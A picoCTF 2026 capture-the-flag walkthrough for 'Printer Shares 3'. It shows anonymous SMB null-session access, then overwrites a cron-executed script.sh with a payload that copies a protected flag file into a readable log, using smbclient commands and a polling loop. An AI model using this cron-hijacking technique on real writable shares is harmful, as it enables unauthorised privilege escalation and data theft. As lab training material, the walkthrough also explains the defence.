Printer Shares 3 picoCTF 2026 Solution

Published: March 20, 2026

Description

I accidentally left the debug script in place... Well, I think that's fine - No one could possibly access my super secure directory.

Launch the challenge instance and note the host and port.

This is the third Printer Shares challenge (see also Printer Shares 2) - the twist here is that a script on the share executes automatically every minute via cron.

bash
sudo apt install smbclient

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1
    Connect to the SMB share anonymously and list its contents
    Observation
    I noticed the challenge description referenced an exposed SMB share from the earlier Printer Shares series, which suggested trying an anonymous null session connection first to enumerate what files were accessible without credentials.
    The public share accepts anonymous (null session) connections just like in the earlier Printer Shares challenges. Once connected, listing the files reveals two items: script.sh and cron.log. Download both so you can inspect them locally.
    bash
    smbclient -L //<HOST> -p <PORT_FROM_INSTANCE> -N
    bash
    smbclient //<HOST>/shares -p <PORT_FROM_INSTANCE> -N
    bash
    smb: \> ls
    bash
    smb: \> get script.sh
    bash
    smb: \> get cron.log
    bash
    smb: \> exit
    bash
    cat script.sh
    bash
    cat cron.log

    Expected output

    picoCTF{5mb_pr1nter_5h4re5_r3v3r53_...}
    What didn't work first

    Tried: Using smbclient with -U to supply a username and password instead of a null session

    The server returns an authentication error because no valid credentials are configured. The share is intentionally open to anonymous connections, so passing -U guest or any explicit credentials just adds unnecessary complexity. Use -N to tell smbclient to skip the password prompt entirely and connect as a null session.

    Tried: Running enum4linux or nmap SMB scripts to enumerate shares before connecting

    Those tools can list share names but add extra steps when you can simply run smbclient -L to list shares directly. More importantly, enum4linux output does not show you the files inside the share, so you still need smbclient to actually download script.sh and cron.log. Skip the enumeration detour and connect directly.

    Learn more

    Null sessions let a client authenticate with an empty username and empty password. Unless restrict anonymous is set in the Samba config, the server hands over a tree-connect handle and the client can enumerate and transfer files freely. This default open posture is why anonymous SMB access keeps appearing across the Printer Shares series.

    Once you read script.sh you will see it is a health-check script that appends output to cron.log. Reading cron.log shows regular timestamps, confirming the script runs automatically every minute. That scheduled execution is the key to the exploit: you can overwrite the script and the cron job will run your version.

  2. Step 2
    Overwrite script.sh with a payload that copies the flag
    Observation
    I noticed that script.sh on the share is executed automatically every minute by cron and the share accepts anonymous writes, which suggested replacing the script with a payload that reads the flag from the protected directory and appends it to the readable cron.log file.
    Because the share is both anonymous and writable, you can replace script.sh with any content you like. Write a new version of the script that reads the flag from the protected directory the cron user has access to and appends it to cron.log, which lives on the public share where you can retrieve it.
    bash
    # Create the malicious script.sh locally
    bash
    cat > script.sh << 'EOF'
    bash
    #!/bin/bash
    bash
    echo "Health Check: $(date)"
    bash
    cat /challenge/secure-shares/flag.txt >> /challenge/shares/cron.log 2>&1
    bash
    EOF
    bash
    # Upload the modified script back to the share
    bash
    smbclient //<HOST>/shares -p <PORT_FROM_INSTANCE> -N -c 'put script.sh'
    What didn't work first

    Tried: Trying to open a reverse shell from the payload instead of writing the flag to cron.log

    A reverse shell requires an inbound connection from the challenge server to your machine, which is blocked by NAT and the CTF network isolation. The cron job will execute your script but the connection will silently time out. Using cron.log as the output channel works because it already lives on the same writable share you can read anonymously, so no outbound connection from the server is needed.

    Tried: Hardcoding /root/flag.txt or /flag.txt as the flag path in the payload

    The flag is not at a standard root-level path in this challenge. The cron.log will show a 'No such file or directory' error (captured by 2>&1) when the script runs, confirming the wrong path. The correct path is /challenge/secure-shares/flag.txt, which is readable by the cron user but not by the anonymous SMB session directly.

    Learn more

    The attack is a classic cron job hijacking: a privileged automated process runs a script that an unprivileged user can overwrite. The cron job runs as a user that has read access to the flag in the protected directory. Because cron executes whatever is in script.sh, replacing that file with your own payload gives you the cron user's effective permissions for one minute.

    The payload redirects the flag into cron.log, a file on the same public share you can already read anonymously. The 2>&1 redirect captures any error messages too, which helps debug path mistakes. If the path to the flag is different on the challenge instance, check cron.log for error output and adjust accordingly.

    In real-world penetration testing, writable cron scripts are a high-severity finding. The attacker does not need any credentials, no shell access, and no exploit: the privilege escalation is entirely configuration-driven. Defence is straightforward: make cron scripts owned by root and non-writable by any unprivileged user or group.

  3. Step 3
    Wait for cron to run, then retrieve the flag from cron.log
    Observation
    I noticed cron.log contained timestamps spaced roughly one minute apart, confirming the cron interval, which suggested waiting at least 60 seconds after uploading the payload before downloading an updated copy of cron.log to find the appended flag.
    The cron job fires every minute. After about 60 seconds, download the updated cron.log from the share. The flag will be appended at the bottom of the file.
    bash
    # Wait approximately one minute, then download the updated log
    bash
    smbclient //<HOST>/shares -p <PORT_FROM_INSTANCE> -N -c 'get cron.log'
    bash
    cat cron.log
    What didn't work first

    Tried: Downloading cron.log immediately after uploading the modified script.sh

    The cron job runs on a fixed schedule, once per minute, not on demand. If you fetch cron.log within seconds of the upload, you get the version that was written before your script ran, so the flag is not there. Wait at least 60 seconds, or use a polling loop with sleep 10 between fetches, to give the scheduler time to execute your payload.

    Tried: Using cat on the local cron.log file you already downloaded before uploading the payload

    smbclient get overwrites the local cron.log file with whatever is currently on the share at the time of the download. If you read the local copy you saved during step 1, it predates your payload execution and will not contain the flag. You must run smbclient get again after the cron interval to pull the updated file from the share.

    Learn more

    Timing matters here. If you download cron.log too soon, you will get the old version without the flag. Wait the full minute (or a little longer to be safe) before fetching the file. You can also loop the download until the flag pattern appears:

    until grep -q 'picoCTF' cron.log; do smbclient //<HOST>/shares -p PORT -N -c 'get cron.log'; sleep 10; done

    This writable-script-plus-cron pattern appears frequently in CTF privilege escalation chains and in real penetration tests. Tools like pspy monitor running processes without root to spot these scheduled jobs on a live system. Here the cron.log timestamps in the original file make the schedule obvious without needing any process monitoring.

Interactive tools
  • Hex ViewerView text or raw hex bytes as a xxd-style hex dump with byte offset, hex columns, and ASCII sidebar. Highlights printable characters and null bytes.
  • Strings ExtractorPull printable text from any binary, library, or image. ASCII and UTF-16 detection, configurable minimum length, flag-like highlight, no command line needed.

Flag

Reveal flag

picoCTF{5mb_pr1nter_5h4re5_r3v3r53_...}

The flag is retrieved from cron.log after the cron job executes the overwritten script.sh. The real vulnerability is a writable SMB share hosting a cron-executed script, not a debug script with hardcoded credentials.

Key takeaway

Cron job hijacking occurs when a scheduled task runs a script or binary that a lower-privileged user can overwrite, effectively lending the cron user's permissions to whoever controls the file. Combining an anonymously writable network share (SMB null session) with a privileged cron job creates a privilege escalation path requiring zero credentials. In real penetration tests this is a high-severity finding because exploitation needs only write access to a single file, no vulnerability in code, and patience equal to the cron interval.

Related reading

Want more picoCTF 2026 writeups?

Useful tools for General Skills

What to try next